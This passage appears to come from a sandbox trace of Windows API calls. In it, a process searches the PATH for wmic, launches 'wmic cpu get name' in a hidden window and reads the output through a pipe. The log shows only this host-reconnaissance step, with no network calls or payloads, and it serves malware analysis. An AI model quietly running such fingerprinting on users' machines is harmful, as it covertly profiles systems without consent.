ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.297] CreateFileW (lpFileName="C:\\Windows\\wmic.js" (normalized: "c:\\windows\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.297] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.jse" (normalized: "c:\\windows\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.298] CreateFileW (lpFileName="C:\\Windows\\wmic.jse" (normalized: "c:\\windows\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.wsf" (normalized: "c:\\windows\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.298] CreateFileW (lpFileName="C:\\Windows\\wmic.wsf" (normalized: "c:\\windows\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.298] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.wsh" (normalized: "c:\\windows\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.298] CreateFileW (lpFileName="C:\\Windows\\wmic.wsh" (normalized: "c:\\windows\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.299] GetFileAttributesExW (in: lpFileName="C:\\Windows\\wmic.msc" (normalized: "c:\\windows\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.299] CreateFileW (lpFileName="C:\\Windows\\wmic.msc" (normalized: "c:\\windows\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.299] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.com" (normalized: "c:\\windows\\system32\\wbem\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0145.300] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\wmic.com" (normalized: "c:\\windows\\system32\\wbem\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0145.300] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f548 | out: lpFileInformation=0xc00019f548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5694022d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x5694022d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xfd50fc30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a400)) returned 1 [0145.300] VirtualAlloc (lpAddress=0xc000064000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000064000 [0145.435] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000056340, nSize=0x64 | out: lpBuffer="") returned 0x35 [0145.435] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f2f0 | out: lpFileInformation=0xc00019f2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5694022d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x5694022d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xfd50fc30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a400)) returned 1 [0145.498] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x144 [0145.519] GetConsoleMode (in: hConsoleHandle=0x144, lpMode=0xc00019f71c | out: lpMode=0xc00019f71c) returned 0 [0145.520] GetFileType (hFile=0x144) returned 0x2 [0145.520] VirtualAlloc (lpAddress=0xc000066000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000066000 [0145.563] GetProcAddress (hModule=0x77660000, lpProcName="CreatePipe") returned 0x776643f0 [0145.564] CreatePipe (in: hReadPipe=0xc00019f770, hWritePipe=0xc00019f778, lpPipeAttributes=0xc00019f780, nSize=0x0 | out: hReadPipe=0xc00019f770*=0x190, hWritePipe=0xc00019f778*=0x194) returned 1 [0145.660] GetProcAddress (hModule=0x77660000, lpProcName="GetEnvironmentStringsW") returned 0x776761c0 [0145.660] GetEnvironmentStringsW () returned 0x2cdf20* [0145.660] VirtualAlloc (lpAddress=0xc000068000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000068000 [0145.661] VirtualAlloc (lpAddress=0xc00006a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006a000 [0145.662] VirtualAlloc (lpAddress=0xc00006c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006c000 [0145.662] VirtualAlloc (lpAddress=0xc00006e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006e000 [0145.662] VirtualAlloc (lpAddress=0xc000070000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000070000 [0145.663] VirtualAlloc (lpAddress=0xc000072000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000072000 [0145.688] GetProcAddress (hModule=0x77660000, lpProcName="FreeEnvironmentStringsW") returned 0x776761a0 [0145.688] FreeEnvironmentStringsW (penv=0x2cdf20) returned 1 [0145.688] VirtualAlloc (lpAddress=0xc000074000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000074000 [0145.689] LoadLibraryExW (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x77880000 [0145.689] GetProcAddress (hModule=0x77880000, lpProcName="RtlGetNtVersionNumbers") returned 0x778c5160 [0145.689] RtlGetNtVersionNumbers () returned 0x778c5160 [0145.689] GetCurrentProcess () returned 0xffffffffffffffff [0145.690] GetProcAddress (hModule=0x77660000, lpProcName="DuplicateHandle") returned 0x776751b0 [0145.690] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x144, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc0000145b8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc0000145b8*=0x198) returned 1 [0145.710] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x194, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc0000145c0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc0000145c0*=0x19c) returned 1 [0145.711] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x194, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc0000145c8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc0000145c8*=0x1a0) returned 1 [0145.731] GetProcAddress (hModule=0x77660000, lpProcName="InitializeProcThreadAttributeList") returned 0x7fefd935910 [0145.732] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc00019f4a8 | out: lpAttributeList=0x0, lpSize=0xc00019f4a8) returned 0 [0145.732] InitializeProcThreadAttributeList (in: lpAttributeList=0xc00001ac30, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc00019f4a8 | out: lpAttributeList=0xc00001ac30, lpSize=0xc00019f4a8) returned 1 [0145.732] GetProcAddress (hModule=0x77660000, lpProcName="UpdateProcThreadAttribute") returned 0x7fefd935990 [0145.732] UpdateProcThreadAttribute (in: lpAttributeList=0xc00001ac30, dwFlags=0x0, Attribute=0x20002, lpValue=0xc0000145b8, cbSize=0x18, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc00001ac30, lpPreviousValue=0x0) returned 1 [0145.732] VirtualAlloc (lpAddress=0xc000076000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000076000 [0145.732] VirtualAlloc (lpAddress=0xc000078000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000078000 [0145.797] VirtualAlloc (lpAddress=0xc000200000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000200000 [0145.798] GetProcAddress (hModule=0x77660000, lpProcName="CreateProcessW") returned 0x77680660 [0145.798] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\wmic.exe", lpCommandLine="wmic cpu get name", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80400, lpEnvironment=0xc000200000, lpCurrentDirectory=0x0, lpStartupInfo=0xc00019f6c8*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x198, hStdOutput=0x19c, hStdError=0x1a0), lpProcessInformation=0xc00019f5a8 | out: lpCommandLine="wmic cpu get name", lpProcessInformation=0xc00019f5a8*(hProcess=0x1a8, hThread=0x1a4, dwProcessId=0xfb8, dwThreadId=0xfbc)) returned 1 [0145.832] CloseHandle (hObject=0x1a4) returned 1 [0145.832] GetProcAddress (hModule=0x77660000, lpProcName="DeleteProcThreadAttributeList") returned 0x7fefd932c70 [0145.832] DeleteProcThreadAttributeList (in: lpAttributeList=0xc00001ac30 | out: lpAttributeList=0xc00001ac30) [0145.832] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1a0, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0145.833] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x19c, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0145.833] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x198, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0145.854] VirtualAlloc (lpAddress=0xc0000d8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000d8000 [0146.074] SetEvent (hEvent=0xbc) returned 1 [0146.140] VirtualAlloc (lpAddress=0xc0000da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000da000 [0146.628] GetProcAddress (hModule=0x77660000, lpProcName="ReadFile") returned 0x776709a0 [0146.628] ReadFile (in: hFile=0x190, lpBuffer=0xc0000da000, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000039cfc, lpOverlapped=0x0 | out: lpBuffer=0xc0000da000*, lpNumberOfBytesRead=0xc000039cfc*=0x2c, lpOverlapped=0x0) returned 1 [0149.439] SetEvent (hEvent=0xe8) returned 1 [0149.439] VirtualAlloc (lpAddress=0xc0000dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000dc000 [0149.439] ReadFile (in: hFile=0x190, lpBuffer=0xc0000dc02c, nNumberOfBytesToRead=0x3d4, lpNumberOfBytesRead=0xc000039cfc, lpOverlapped=0x0 | out: lpBuffer=0xc0000dc02c*, lpNumberOfBytesRead=0xc000039cfc*=0x2f, lpOverlapped=0x0) returned 1 [0149.439] ReadFile (in: hFile=0x190, lpBuffer=0xc0000dc05b, nNumberOfBytesToRead=0x3a5, lpNumberOfBytesRead=0xc000039cfc, lpOverlapped=0x0 | out: lpBuffer=0xc0000dc05b, lpNumberOfBytesRead=0xc000039cfc*=0x0, lpOverlapped=0x0) returned 0 [0149.763] SetEvent (hEvent=0xe8) returned 1 [0149.763] CancelIoEx (hFile=0x190, lpOverlapped=0x0) returned 0 [0149.764] CloseHandle (hObject=0x190) returned 1 [0149.786] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0149.857] SetEvent (hEvent=0xcc) returned 1 [0149.858] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc0000565b0, nSize=0x64 | out: lpBuffer="") returned 0x35 [0149.858] GetEnvironmentVariableW (in: lpName="NoDefaultCurrentDirectoryInExePath", lpBuffer=0xc000056680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0149.858] GetFileAttributesExW (in: lpFileName="wmic.com" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.859] CreateFileW (lpFileName="wmic.com" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.859] GetFileAttributesExW (in: lpFileName="wmic.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.859] CreateFileW (lpFileName="wmic.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.859] GetFileAttributesExW (in: lpFileName="wmic.bat" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.859] CreateFileW (lpFileName="wmic.bat" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.860] GetFileAttributesExW (in: lpFileName="wmic.cmd" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.860] CreateFileW (lpFileName="wmic.cmd" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.860] GetFileAttributesExW (in: lpFileName="wmic.vbs" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.860] CreateFileW (lpFileName="wmic.vbs" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.860] GetFileAttributesExW (in: lpFileName="wmic.vbe" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.860] CreateFileW (lpFileName="wmic.vbe" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.861] GetFileAttributesExW (in: lpFileName="wmic.js" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.js"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.861] CreateFileW (lpFileName="wmic.js" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.861] GetFileAttributesExW (in: lpFileName="wmic.jse" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.jse"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.861] CreateFileW (lpFileName="wmic.jse" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.862] GetFileAttributesExW (in: lpFileName="wmic.wsf" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.862] CreateFileW (lpFileName="wmic.wsf" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.862] GetFileAttributesExW (in: lpFileName="wmic.wsh" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.862] CreateFileW (lpFileName="wmic.wsh" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.862] GetFileAttributesExW (in: lpFileName="wmic.msc" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.msc"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.863] CreateFileW (lpFileName="wmic.msc" (normalized: "c:\\users\\keecfmwgj\\desktop\\wmic.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.863] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc000056750, nSize=0x64 | out: lpBuffer="") returned 0xc9 [0149.863] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0xc00005e1a0, nSize=0xc9 | out: lpBuffer="") returned 0xc8 [0149.863] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.com"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.869] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.com" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.869] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.869] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.870] VirtualAlloc (lpAddress=0xc00007e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007e000 [0149.870] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.bat"), fInfoLevelId=0x0, lpFileInformation=0xc00019f538 | out: lpFileInformation=0xc00019f538*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0149.870] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.bat" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\wmic.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\wmic.cmd" (normalized: "c:\\program files (x86)\\common 